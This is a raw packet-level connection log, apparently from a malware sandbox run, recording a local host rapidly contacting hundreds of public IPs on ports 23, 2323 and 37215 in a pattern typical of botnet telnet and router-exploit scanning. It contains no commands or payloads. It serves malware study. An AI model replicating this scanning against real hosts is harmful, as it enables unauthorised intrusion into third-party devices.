Dec 4, 2024 20:34:33.661077023 CET	47186	37215	192.168.2.14	41.171.16.118
Dec 4, 2024 20:34:33.661098957 CET	47186	37215	192.168.2.14	41.171.16.118
Dec 4, 2024 20:34:33.661542892 CET	37215	60704	41.86.83.79	192.168.2.14
Dec 4, 2024 20:34:33.661674976 CET	37215	60728	41.86.83.79	192.168.2.14
Dec 4, 2024 20:34:33.661730051 CET	60728	37215	192.168.2.14	41.86.83.79
Dec 4, 2024 20:34:33.661737919 CET	23	57434	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:33.661745071 CET	60728	37215	192.168.2.14	41.86.83.79
Dec 4, 2024 20:34:33.662425995 CET	37215	51236	41.154.34.131	192.168.2.14
Dec 4, 2024 20:34:33.663063049 CET	23	57604	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:33.663106918 CET	57604	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:33.663347006 CET	37215	51260	41.154.34.131	192.168.2.14
Dec 4, 2024 20:34:33.663398027 CET	51260	37215	192.168.2.14	41.154.34.131
Dec 4, 2024 20:34:33.663420916 CET	51260	37215	192.168.2.14	41.154.34.131
Dec 4, 2024 20:34:33.664011002 CET	23	40514	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:33.664058924 CET	37215	36658	197.229.233.212	192.168.2.14
Dec 4, 2024 20:34:33.664191008 CET	23	40706	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:33.664258957 CET	40706	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:33.664580107 CET	37215	36682	197.229.233.212	192.168.2.14
Dec 4, 2024 20:34:33.664623976 CET	36682	37215	192.168.2.14	197.229.233.212
Dec 4, 2024 20:34:33.664623976 CET	36682	37215	192.168.2.14	197.229.233.212
Dec 4, 2024 20:34:33.664697886 CET	23	37986	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:33.664772034 CET	37215	53472	41.149.45.189	192.168.2.14
Dec 4, 2024 20:34:33.665303946 CET	23	38172	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:33.665339947 CET	37215	53496	41.149.45.189	192.168.2.14
Dec 4, 2024 20:34:33.665344954 CET	38172	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:33.665375948 CET	53496	37215	192.168.2.14	41.149.45.189
Dec 4, 2024 20:34:33.665375948 CET	53496	37215	192.168.2.14	41.149.45.189
Dec 4, 2024 20:34:33.665801048 CET	2323	48258	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:33.666456938 CET	2323	48446	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:33.666500092 CET	48446	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:33.666791916 CET	23	42504	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:33.666994095 CET	23	42692	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:33.667038918 CET	42692	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:33.667412996 CET	23	42584	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:33.667604923 CET	23	42772	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:33.667654037 CET	42772	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:33.668010950 CET	2323	43702	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:33.668278933 CET	2323	43888	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:33.668335915 CET	43888	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:33.669794083 CET	37215	47160	41.171.16.118	192.168.2.14
Dec 4, 2024 20:34:33.669985056 CET	2323	39868	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:33.670087099 CET	39868	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:33.670267105 CET	37215	60704	41.86.83.79	192.168.2.14
Dec 4, 2024 20:34:33.670485020 CET	39918	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:33.670507908 CET	23	36056	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:33.670768976 CET	37215	51236	41.154.34.131	192.168.2.14
Dec 4, 2024 20:34:33.670885086 CET	36056	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:33.671005011 CET	23	50196	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:33.671186924 CET	36104	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:33.671540976 CET	37215	36658	197.229.233.212	192.168.2.14
Dec 4, 2024 20:34:33.671686888 CET	50196	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:33.671905994 CET	23	48750	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:33.672015905 CET	50242	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:33.672220945 CET	37215	53472	41.149.45.189	192.168.2.14
Dec 4, 2024 20:34:33.672427893 CET	48750	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:33.672674894 CET	23	39538	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:33.672750950 CET	48794	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:33.672770023 CET	23	60930	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:33.672924042 CET	23	53540	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:33.673176050 CET	39538	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:33.673463106 CET	39580	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:33.673829079 CET	60930	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:33.674124956 CET	60972	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:33.674422026 CET	53540	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:33.674503088 CET	53540	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:33.674798012 CET	53582	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:33.767082930 CET	23	43362	107.46.144.238	192.168.2.14
Dec 4, 2024 20:34:33.767096996 CET	23	43548	107.46.144.238	192.168.2.14
Dec 4, 2024 20:34:33.767193079 CET	43548	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:33.781205893 CET	23	47480	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:33.781419992 CET	47480	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:33.781692982 CET	37215	47186	41.171.16.118	192.168.2.14
Dec 4, 2024 20:34:33.781744003 CET	47186	37215	192.168.2.14	41.171.16.118
Dec 4, 2024 20:34:33.781868935 CET	47522	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:33.781960011 CET	37215	60728	41.86.83.79	192.168.2.14
Dec 4, 2024 20:34:33.781992912 CET	60728	37215	192.168.2.14	41.86.83.79
Dec 4, 2024 20:34:33.783489943 CET	23	57604	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:33.783557892 CET	57604	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:33.783829927 CET	37215	51260	41.154.34.131	192.168.2.14
Dec 4, 2024 20:34:33.783862114 CET	51260	37215	192.168.2.14	41.154.34.131
Dec 4, 2024 20:34:33.783885956 CET	57642	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:33.785398960 CET	23	40706	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:33.785461903 CET	40706	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:33.785693884 CET	37215	36682	197.229.233.212	192.168.2.14
Dec 4, 2024 20:34:33.785731077 CET	36682	37215	192.168.2.14	197.229.233.212
Dec 4, 2024 20:34:33.785778046 CET	40742	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:33.786437988 CET	23	38172	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:33.786498070 CET	38172	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:33.786556005 CET	37215	53496	41.149.45.189	192.168.2.14
Dec 4, 2024 20:34:33.786598921 CET	53496	37215	192.168.2.14	41.149.45.189
Dec 4, 2024 20:34:33.786827087 CET	38206	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:33.786848068 CET	2323	48446	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:33.786984921 CET	23	42692	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:33.787220955 CET	48446	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:33.787497044 CET	23	42772	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:33.787506104 CET	48478	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:33.787849903 CET	42692	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:33.788120031 CET	42724	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:33.788336039 CET	2323	43888	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:33.788497925 CET	42772	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:33.788780928 CET	42804	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:33.789144039 CET	43888	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:33.789407015 CET	43920	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:33.789979935 CET	2323	39868	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:33.790451050 CET	2323	39918	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:33.790496111 CET	39918	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:33.790836096 CET	23	36056	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:33.791070938 CET	23	36104	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:33.791116953 CET	36104	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:33.791446924 CET	23	50196	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:33.791882038 CET	23	50242	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:33.791923046 CET	50242	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:33.792275906 CET	23	48750	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:33.792587996 CET	23	48794	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:33.792629957 CET	48794	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:33.792921066 CET	23	39538	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:33.793278933 CET	23	39580	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:33.793318987 CET	39580	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:33.793684959 CET	23	60930	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:33.793893099 CET	23	60972	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:33.793935061 CET	60972	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:33.794135094 CET	23	53540	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:33.794589043 CET	23	53582	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:33.794631958 CET	53582	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:33.901988029 CET	23	47480	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:33.902540922 CET	23	47522	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:33.902631044 CET	47522	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:33.902678967 CET	60787	2323	192.168.2.14	85.122.152.39
Dec 4, 2024 20:34:33.902683973 CET	60787	23	192.168.2.14	68.2.227.19
Dec 4, 2024 20:34:33.902688980 CET	60787	23	192.168.2.14	180.103.134.255
Dec 4, 2024 20:34:33.902688980 CET	60787	23	192.168.2.14	14.65.149.111
Dec 4, 2024 20:34:33.902694941 CET	60787	23	192.168.2.14	200.230.94.34
Dec 4, 2024 20:34:33.902694941 CET	60787	23	192.168.2.14	204.43.40.139
Dec 4, 2024 20:34:33.902698994 CET	60787	23	192.168.2.14	184.52.244.176
Dec 4, 2024 20:34:33.902709007 CET	60787	23	192.168.2.14	198.41.251.252
Dec 4, 2024 20:34:33.902709007 CET	60787	23	192.168.2.14	46.255.128.27
Dec 4, 2024 20:34:33.902719975 CET	60787	2323	192.168.2.14	212.60.138.48
Dec 4, 2024 20:34:33.902721882 CET	60787	23	192.168.2.14	75.172.67.187
Dec 4, 2024 20:34:33.902721882 CET	60787	23	192.168.2.14	198.89.254.36
Dec 4, 2024 20:34:33.902729034 CET	60787	23	192.168.2.14	222.88.1.143
Dec 4, 2024 20:34:33.902730942 CET	60787	23	192.168.2.14	170.205.218.188
Dec 4, 2024 20:34:33.902730942 CET	60787	23	192.168.2.14	195.186.137.224
Dec 4, 2024 20:34:33.902736902 CET	60787	23	192.168.2.14	89.59.96.112
Dec 4, 2024 20:34:33.902738094 CET	60787	23	192.168.2.14	203.188.47.230
Dec 4, 2024 20:34:33.902740955 CET	60787	23	192.168.2.14	110.211.179.116
Dec 4, 2024 20:34:33.902745962 CET	60787	23	192.168.2.14	149.110.138.209
Dec 4, 2024 20:34:33.902750015 CET	60787	2323	192.168.2.14	48.201.153.206
Dec 4, 2024 20:34:33.902756929 CET	60787	23	192.168.2.14	63.60.171.125
Dec 4, 2024 20:34:33.902757883 CET	60787	23	192.168.2.14	115.154.222.36
Dec 4, 2024 20:34:33.902757883 CET	60787	23	192.168.2.14	106.109.153.33
Dec 4, 2024 20:34:33.902756929 CET	60787	23	192.168.2.14	153.166.202.74
Dec 4, 2024 20:34:33.902762890 CET	60787	23	192.168.2.14	176.210.7.15
Dec 4, 2024 20:34:33.902762890 CET	60787	23	192.168.2.14	147.144.29.68
Dec 4, 2024 20:34:33.902762890 CET	60787	23	192.168.2.14	77.131.187.240
Dec 4, 2024 20:34:33.902771950 CET	60787	23	192.168.2.14	184.46.153.45
Dec 4, 2024 20:34:33.902776003 CET	60787	23	192.168.2.14	116.130.205.1
Dec 4, 2024 20:34:33.902776003 CET	60787	23	192.168.2.14	159.35.141.81
Dec 4, 2024 20:34:33.902779102 CET	60787	2323	192.168.2.14	206.236.62.23
Dec 4, 2024 20:34:33.902793884 CET	60787	23	192.168.2.14	152.116.53.179
Dec 4, 2024 20:34:33.902796030 CET	60787	23	192.168.2.14	24.150.236.65
Dec 4, 2024 20:34:33.902797937 CET	60787	23	192.168.2.14	157.8.238.51
Dec 4, 2024 20:34:33.902797937 CET	60787	23	192.168.2.14	153.35.243.21
Dec 4, 2024 20:34:33.902801037 CET	60787	23	192.168.2.14	38.105.223.169
Dec 4, 2024 20:34:33.902802944 CET	60787	23	192.168.2.14	191.138.41.68
Dec 4, 2024 20:34:33.902810097 CET	60787	23	192.168.2.14	102.32.94.102
Dec 4, 2024 20:34:33.902823925 CET	60787	23	192.168.2.14	99.134.185.97
Dec 4, 2024 20:34:33.902823925 CET	60787	23	192.168.2.14	54.118.82.11
Dec 4, 2024 20:34:33.902834892 CET	60787	2323	192.168.2.14	37.201.234.128
Dec 4, 2024 20:34:33.902834892 CET	60787	23	192.168.2.14	168.98.64.34
Dec 4, 2024 20:34:33.902837992 CET	60787	23	192.168.2.14	186.16.26.84
Dec 4, 2024 20:34:33.902839899 CET	60787	23	192.168.2.14	166.157.204.9
Dec 4, 2024 20:34:33.902857065 CET	60787	23	192.168.2.14	113.125.159.122
Dec 4, 2024 20:34:33.902858019 CET	60787	23	192.168.2.14	61.49.222.214
Dec 4, 2024 20:34:33.902859926 CET	60787	23	192.168.2.14	184.204.122.196
Dec 4, 2024 20:34:33.902864933 CET	60787	23	192.168.2.14	71.207.6.250
Dec 4, 2024 20:34:33.902870893 CET	60787	23	192.168.2.14	57.52.109.142
Dec 4, 2024 20:34:33.902873039 CET	60787	23	192.168.2.14	115.113.186.112
Dec 4, 2024 20:34:33.902874947 CET	60787	2323	192.168.2.14	154.99.85.61
Dec 4, 2024 20:34:33.902874947 CET	60787	23	192.168.2.14	65.28.55.103
Dec 4, 2024 20:34:33.902879000 CET	60787	23	192.168.2.14	178.21.254.217
Dec 4, 2024 20:34:33.902879953 CET	60787	23	192.168.2.14	110.10.64.196
Dec 4, 2024 20:34:33.902889013 CET	60787	23	192.168.2.14	39.115.187.77
Dec 4, 2024 20:34:33.902889013 CET	60787	23	192.168.2.14	157.25.98.178
Dec 4, 2024 20:34:33.902894020 CET	60787	23	192.168.2.14	177.38.113.78
Dec 4, 2024 20:34:33.902903080 CET	60787	23	192.168.2.14	183.163.231.49
Dec 4, 2024 20:34:33.902903080 CET	60787	23	192.168.2.14	67.72.245.4
Dec 4, 2024 20:34:33.902915001 CET	60787	2323	192.168.2.14	78.129.17.167
Dec 4, 2024 20:34:33.902919054 CET	60787	23	192.168.2.14	204.148.153.28
Dec 4, 2024 20:34:33.902920008 CET	60787	23	192.168.2.14	68.85.112.112
Dec 4, 2024 20:34:33.902931929 CET	60787	23	192.168.2.14	119.67.26.44
Dec 4, 2024 20:34:33.902931929 CET	60787	23	192.168.2.14	126.175.102.7
Dec 4, 2024 20:34:33.902940035 CET	60787	23	192.168.2.14	204.136.8.167
Dec 4, 2024 20:34:33.902940035 CET	60787	23	192.168.2.14	118.250.197.242
Dec 4, 2024 20:34:33.902945042 CET	60787	23	192.168.2.14	78.48.60.89
Dec 4, 2024 20:34:33.902951956 CET	60787	23	192.168.2.14	211.29.220.215
Dec 4, 2024 20:34:33.902965069 CET	60787	23	192.168.2.14	87.54.135.244
Dec 4, 2024 20:34:33.902968884 CET	60787	23	192.168.2.14	101.132.112.252
Dec 4, 2024 20:34:33.902971029 CET	60787	2323	192.168.2.14	165.49.69.115
Dec 4, 2024 20:34:33.902972937 CET	60787	23	192.168.2.14	187.39.43.105
Dec 4, 2024 20:34:33.902976990 CET	60787	23	192.168.2.14	41.105.187.97
Dec 4, 2024 20:34:33.902976990 CET	60787	23	192.168.2.14	141.26.88.70
Dec 4, 2024 20:34:33.902985096 CET	60787	23	192.168.2.14	8.8.177.113
Dec 4, 2024 20:34:33.902985096 CET	60787	23	192.168.2.14	68.248.112.108
Dec 4, 2024 20:34:33.902986050 CET	60787	23	192.168.2.14	2.248.138.42
Dec 4, 2024 20:34:33.902987003 CET	60787	23	192.168.2.14	158.46.176.138
Dec 4, 2024 20:34:33.902987003 CET	60787	23	192.168.2.14	136.155.173.141
Dec 4, 2024 20:34:33.902993917 CET	60787	2323	192.168.2.14	122.195.205.197
Dec 4, 2024 20:34:33.902996063 CET	60787	23	192.168.2.14	202.248.39.172
Dec 4, 2024 20:34:33.902998924 CET	60787	23	192.168.2.14	173.92.104.47
Dec 4, 2024 20:34:33.903009892 CET	60787	23	192.168.2.14	168.175.239.14
Dec 4, 2024 20:34:33.903009892 CET	60787	23	192.168.2.14	147.113.107.15
Dec 4, 2024 20:34:33.903018951 CET	60787	23	192.168.2.14	75.152.158.80
Dec 4, 2024 20:34:33.903019905 CET	60787	23	192.168.2.14	174.104.14.98
Dec 4, 2024 20:34:33.903026104 CET	60787	23	192.168.2.14	159.149.79.151
Dec 4, 2024 20:34:33.903032064 CET	60787	23	192.168.2.14	148.209.154.9
Dec 4, 2024 20:34:33.903038025 CET	60787	23	192.168.2.14	196.21.142.13
Dec 4, 2024 20:34:33.903044939 CET	60787	23	192.168.2.14	38.16.220.250
Dec 4, 2024 20:34:33.903064013 CET	60787	2323	192.168.2.14	203.17.234.85
Dec 4, 2024 20:34:33.903064013 CET	60787	23	192.168.2.14	23.136.173.193
Dec 4, 2024 20:34:33.903064966 CET	60787	23	192.168.2.14	221.104.226.84
Dec 4, 2024 20:34:33.903065920 CET	60787	23	192.168.2.14	27.105.222.26
Dec 4, 2024 20:34:33.903065920 CET	60787	23	192.168.2.14	88.125.183.207
Dec 4, 2024 20:34:33.903065920 CET	60787	23	192.168.2.14	154.179.183.117
Dec 4, 2024 20:34:33.903064966 CET	60787	23	192.168.2.14	179.6.217.42
Dec 4, 2024 20:34:33.903069973 CET	60787	23	192.168.2.14	103.35.227.101
Dec 4, 2024 20:34:33.903069973 CET	60787	23	192.168.2.14	154.13.66.227
Dec 4, 2024 20:34:33.903079033 CET	60787	23	192.168.2.14	139.30.35.203
Dec 4, 2024 20:34:33.903088093 CET	60787	23	192.168.2.14	218.48.140.71
Dec 4, 2024 20:34:33.903089046 CET	60787	2323	192.168.2.14	99.187.163.16
Dec 4, 2024 20:34:33.903090954 CET	60787	23	192.168.2.14	19.84.119.237
Dec 4, 2024 20:34:33.903090954 CET	60787	23	192.168.2.14	198.202.143.155
Dec 4, 2024 20:34:33.903095007 CET	60787	23	192.168.2.14	113.197.237.8
Dec 4, 2024 20:34:33.903095007 CET	60787	23	192.168.2.14	45.130.250.95
Dec 4, 2024 20:34:33.903101921 CET	60787	23	192.168.2.14	178.141.100.204
Dec 4, 2024 20:34:33.903101921 CET	60787	23	192.168.2.14	139.220.58.204
Dec 4, 2024 20:34:33.903120041 CET	60787	23	192.168.2.14	1.166.174.160
Dec 4, 2024 20:34:33.903122902 CET	60787	23	192.168.2.14	37.12.79.180
Dec 4, 2024 20:34:33.903126955 CET	60787	2323	192.168.2.14	99.240.58.60
Dec 4, 2024 20:34:33.903130054 CET	60787	23	192.168.2.14	105.118.129.200
Dec 4, 2024 20:34:33.903130054 CET	60787	23	192.168.2.14	95.227.248.101
Dec 4, 2024 20:34:33.903132915 CET	60787	23	192.168.2.14	194.241.111.223
Dec 4, 2024 20:34:33.903136015 CET	60787	23	192.168.2.14	34.83.210.148
Dec 4, 2024 20:34:33.903143883 CET	60787	23	192.168.2.14	198.80.248.247
Dec 4, 2024 20:34:33.903150082 CET	60787	23	192.168.2.14	105.26.240.105
Dec 4, 2024 20:34:33.903156042 CET	60787	23	192.168.2.14	18.173.147.95
Dec 4, 2024 20:34:33.903157949 CET	60787	23	192.168.2.14	96.180.41.50
Dec 4, 2024 20:34:33.903172016 CET	60787	23	192.168.2.14	145.21.189.238
Dec 4, 2024 20:34:33.903172016 CET	60787	2323	192.168.2.14	213.81.209.51
Dec 4, 2024 20:34:33.903175116 CET	60787	23	192.168.2.14	44.125.88.96
Dec 4, 2024 20:34:33.903176069 CET	60787	23	192.168.2.14	160.238.78.242
Dec 4, 2024 20:34:33.903181076 CET	60787	23	192.168.2.14	44.128.204.126
Dec 4, 2024 20:34:33.903182983 CET	60787	23	192.168.2.14	24.142.183.126
Dec 4, 2024 20:34:33.903193951 CET	60787	23	192.168.2.14	82.137.179.59
Dec 4, 2024 20:34:33.903204918 CET	60787	23	192.168.2.14	116.28.253.209
Dec 4, 2024 20:34:33.903204918 CET	60787	2323	192.168.2.14	149.55.173.147
Dec 4, 2024 20:34:33.903204918 CET	60787	23	192.168.2.14	43.221.119.57
Dec 4, 2024 20:34:33.903206110 CET	60787	23	192.168.2.14	114.107.80.118
Dec 4, 2024 20:34:33.903206110 CET	60787	23	192.168.2.14	27.79.78.96
Dec 4, 2024 20:34:33.903213978 CET	60787	23	192.168.2.14	24.105.209.217
Dec 4, 2024 20:34:33.903218985 CET	60787	23	192.168.2.14	206.175.163.43
Dec 4, 2024 20:34:33.903218985 CET	60787	23	192.168.2.14	183.117.201.90
Dec 4, 2024 20:34:33.903218985 CET	60787	23	192.168.2.14	162.49.215.252
Dec 4, 2024 20:34:33.903225899 CET	60787	23	192.168.2.14	97.14.46.146
Dec 4, 2024 20:34:33.903233051 CET	60787	23	192.168.2.14	120.82.197.153
Dec 4, 2024 20:34:33.903237104 CET	60787	23	192.168.2.14	90.29.181.128
Dec 4, 2024 20:34:33.903238058 CET	60787	23	192.168.2.14	101.170.128.40
Dec 4, 2024 20:34:33.903245926 CET	60787	23	192.168.2.14	58.54.169.30
Dec 4, 2024 20:34:33.903249979 CET	60787	2323	192.168.2.14	117.132.54.67
Dec 4, 2024 20:34:33.903251886 CET	60787	23	192.168.2.14	210.140.154.125
Dec 4, 2024 20:34:33.903264999 CET	60787	23	192.168.2.14	181.181.42.252
Dec 4, 2024 20:34:33.903268099 CET	60787	23	192.168.2.14	109.227.85.11
Dec 4, 2024 20:34:33.903270960 CET	60787	23	192.168.2.14	123.163.157.237
Dec 4, 2024 20:34:33.903283119 CET	60787	23	192.168.2.14	210.4.8.54
Dec 4, 2024 20:34:33.903285980 CET	60787	23	192.168.2.14	203.216.31.243
Dec 4, 2024 20:34:33.903286934 CET	60787	23	192.168.2.14	79.251.112.196
Dec 4, 2024 20:34:33.903292894 CET	60787	23	192.168.2.14	106.32.15.193
Dec 4, 2024 20:34:33.903296947 CET	60787	23	192.168.2.14	146.54.112.132
Dec 4, 2024 20:34:33.903307915 CET	60787	2323	192.168.2.14	93.81.254.126
Dec 4, 2024 20:34:33.903316021 CET	60787	23	192.168.2.14	200.88.145.201
Dec 4, 2024 20:34:33.903321981 CET	60787	23	192.168.2.14	152.67.136.211
Dec 4, 2024 20:34:33.903321981 CET	60787	23	192.168.2.14	124.37.225.199
Dec 4, 2024 20:34:33.903323889 CET	60787	23	192.168.2.14	107.234.83.181
Dec 4, 2024 20:34:33.903336048 CET	60787	23	192.168.2.14	36.43.1.233
Dec 4, 2024 20:34:33.903338909 CET	60787	23	192.168.2.14	178.139.167.126
Dec 4, 2024 20:34:33.903338909 CET	60787	23	192.168.2.14	163.56.31.47
Dec 4, 2024 20:34:33.903357983 CET	60787	23	192.168.2.14	155.187.244.240
Dec 4, 2024 20:34:33.903367043 CET	60787	23	192.168.2.14	173.253.99.3
Dec 4, 2024 20:34:33.904014111 CET	23	57604	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:33.904303074 CET	23	57642	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:33.904342890 CET	57642	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:33.906172991 CET	23	40706	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:33.906408072 CET	23	40742	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:33.906441927 CET	40742	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:33.907388926 CET	23	38172	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:33.907740116 CET	23	38206	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:33.907798052 CET	38206	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:33.907886028 CET	2323	48446	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:33.908322096 CET	2323	48478	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:33.908365011 CET	48478	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:33.908550024 CET	23	42692	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:33.908905029 CET	23	42724	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:33.908947945 CET	42724	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:33.909292936 CET	23	42772	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:33.909722090 CET	23	42804	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:33.909759998 CET	42804	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:33.910106897 CET	2323	43888	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:33.910372019 CET	2323	43920	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:33.910418034 CET	43920	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:33.911536932 CET	2323	39918	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:33.911604881 CET	39918	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:33.911988974 CET	39948	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:33.912913084 CET	23	36104	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:33.912967920 CET	36104	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:33.913239002 CET	36134	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:33.913324118 CET	23	50242	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:33.913624048 CET	50242	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:33.913897038 CET	50272	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:33.914345980 CET	23	48794	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:33.914410114 CET	48794	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:33.914421082 CET	48794	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:33.914705038 CET	48824	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:33.914726019 CET	23	39580	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:33.915091991 CET	23	60972	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:33.915121078 CET	39580	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:33.915401936 CET	39610	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:33.915765047 CET	60972	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:33.916013002 CET	23	53582	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:33.916057110 CET	32770	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:33.916430950 CET	53582	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:33.916723013 CET	53612	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:33.974431992 CET	39058	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:33.974433899 CET	60382	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:33.974433899 CET	42076	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:33.974436998 CET	34924	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:33.974442959 CET	58034	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:33.974443913 CET	46816	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:33.974446058 CET	42184	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:33.974446058 CET	44228	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:34.022945881 CET	2323	60787	85.122.152.39	192.168.2.14
